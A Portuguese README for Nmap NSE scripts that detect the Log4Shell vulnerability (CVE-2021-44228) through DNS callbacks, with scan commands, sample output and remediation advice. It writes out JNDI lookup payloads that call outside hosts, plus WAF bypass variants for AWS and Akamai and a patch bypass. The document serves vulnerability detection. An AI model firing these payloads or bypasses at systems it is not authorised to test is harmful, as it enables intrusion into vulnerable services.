diverto/nse-log4shellScripts NSE do Nmap para verificar contra vulnerabilidades log4shell ou LogJam (CVE-2021-44228)
Scripts NSE do Nmap para verificar vulnerabilidades log4shell ou LogJam (CVE-2021-44228). Os scripts NSE verificam os serviços expostos mais populares na Internet. É um script básico onde pode personalizar o payload.
Note que os scripts NSE apenas enviarão as requisições aos serviços. O Nmap não reportará hosts vulneráveis, mas você deve verificar os logs de DNS para determinar a vulnerabilidade. Se não especificar o payload manualmente, os scripts NSE usarão o dnslog.cn por padrão. Isso significa que as requisições serão vistas pelo dnslog.cn.
Posicione-se no diretório onde estes scripts estão localizados e execute os seguintes comandos (o Nmap recuperará o dnslog.cn automaticamente).
No Linux:
cd nse-log4shell
nmap -sV -T4 -v --script=$PWD/ scanme.nmap.org
No Windows:
cd nse-log4shell
nmap -sV -T4 -v --script=%cd%/ scanme.nmap.org
Novo bypass de patch na v2.15.0 (CVE-2021-45046), agradecimentos a @marcioalm (tweet):
${jndi:ldap://127.0.0.1#{{target}}.xxx.dnslog.cn:1389/a}
Bypass AWS (agradecimentos a @11xuxx - tweet):
${jnd${123%25ff:-${123%25ff:-i:}}ldap://mydogsbutt.com:1389/o}
Bypass Akamai (agradecimentos a @ozgur_bbh - tweet):
${jndi${123%25ff:-}:ldap://HOST:PORT/a}
Exemplo no Windows (Agradecimentos a @ZedFuzz) - note como escapar as aspas:
nmap -v --script=http-log4shell,ssh-log4shell,imap-log4shell "--script-args=log4shell.payload=\"${jndi:ldap://{{target}}.xxxx.dnslog.cn}\"" -T4 -n --script-timeout=1m scanme.nmap.org
Aceda a http://github.com/kost/logdns e obtenha o servidor DNS. Obtenha o domínio e aponte para onde instalou o logdns:
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.logdns.xxx}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN
Aceda a http://dnslog.cn/ e obtenha um SubDomain. Substitua o seu xxxx pelo seu SubDomain:
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.dnslog.cn}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN
Obtenha o seu domínio do Burp collaborator e substitua xxxx pelo seu domínio:
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.burpcollaborator.net/diverto}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN
Obtenha o seu Token do CanaryToken e substitua xxxx pelo seu domínio:
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://x${hostName}.L4J.xxxx.canarytokens.com/a}"' -T4 -n -pssh,imap*,http* --script-timeout=1m MY.IPs.TO.SCAN
Agradecimentos a @saintz666
O dnslog.cn tem sessões curtas (cerca de meia hora). Deveria haver uma forma de prolongar a sessão para a duração da verificação. Além disso, por vezes a consulta DNS ocorre muito depois da receção do pedido. Alguém reportou ter recebido um pedido DNS horas após o pedido ter sido feito. Como alternativa, os scripts NSE do nmap recuperam a sessão após cada host verificado.
Portanto, atualmente, para maior garantia, é melhor usar um domínio DNS personalizado com uma ferramenta como o logdns: https://github.com/kost/logdns
nmap -T4 -v --script=$PWD/ scanme.nmap.org
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-15 12:37 CET
NSE: Loaded 5 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.53s elapsed
Pre-scan script results:
| dnslog-cn:
| Domain: 2t722h.dnslog.cn
|_ Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
Initiating Ping Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [2 ports]
Completed Ping Scan at 12:37, 0.18s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:37
Completed Parallel DNS resolution of 1 host. at 12:37, 1.18s elapsed
Initiating Connect Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [1000 ports]
Discovered open port 80/tcp on 45.33.32.156
Discovered open port 53/tcp on 45.33.32.156
Discovered open port 22/tcp on 45.33.32.156
Stats: 0:00:23 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 56.00% done; ETC: 12:37 (0:00:16 remaining)
Discovered open port 9929/tcp on 45.33.32.156
Discovered open port 31337/tcp on 45.33.32.156
Completed Connect Scan at 12:37, 37.06s elapsed (1000 total ports)
NSE: Script scanning 45.33.32.156.
Initiating NSE at 12:37
Completed NSE at 12:37, 6.19s elapsed
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.18s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
9929/tcp open nping-echo
31337/tcp open Elite
Host script results:
| dnslog-cn:
| List of hosts responded: []
| Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_ If list is not empty, check hosts as they are potentially vulnerable
NSE: Script Post-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.50s elapsed
Post-scan script results:
| dnslog-cn:
| List of hosts responded: []
| Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_ If list is not empty, check hosts as they are potentially vulnerable
Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 46.11 seconds
Lista das melhores correções e workarounds.
Melhor solução para proteger contra CVE-2021-44228: atualizar para log4j-2.16.0 ou posterior.
Note que log4j-2.15.0-rc1 já não é recomendado devido a novas vulnerabilidades encontradas. Portanto, deve atualizar para log4j-2.16.0 ou posterior (obrigado @ruppde).
Além disso, note que outras recomendações como log4j2.formatMsgNoLookups definido como true devem ser evitadas.
O melhor é identificar a vulnerabilidade log4shell examinando o sistema de ficheiros local em busca de artefactos do log4j.
Estes scripts NSE devem ser usados apenas para garantia adicional. Os NSE ajudam a identificar serviços vulneráveis, não aplicações vulneráveis. Podem identificar uma aplicação vulnerável se ela registar todos os pedidos (incluindo raiz /), mas não se a vulnerabilidade estiver oculta atrás de um login. Necessitará de um scanner web que rastreie toda a aplicação para isso.
Pode verificar um URI específico com o seguinte exemplo:
http-log4shell.url=/my/application/uri
Ele verificará através de cabeçalhos HTTP e cookie. Se precisar de verificar formulários POST/GET, deve verificar http-spider-log4shell. Ainda assim, o melhor é usar um scanner web com suporte para log4j.
Note também que a resolução DNS com combinações de prefixos numa expressão para log4j-core <= 2.7 parece não ser suportada. Portanto, testar com algo como ${java:os} pode levar a falsos negativos.
Assim, é melhor ter alguns falsos positivos do que negativos.
Referências gerais e links para a vulnerabilidade
Reddit thread - Informação geral sobre log4shell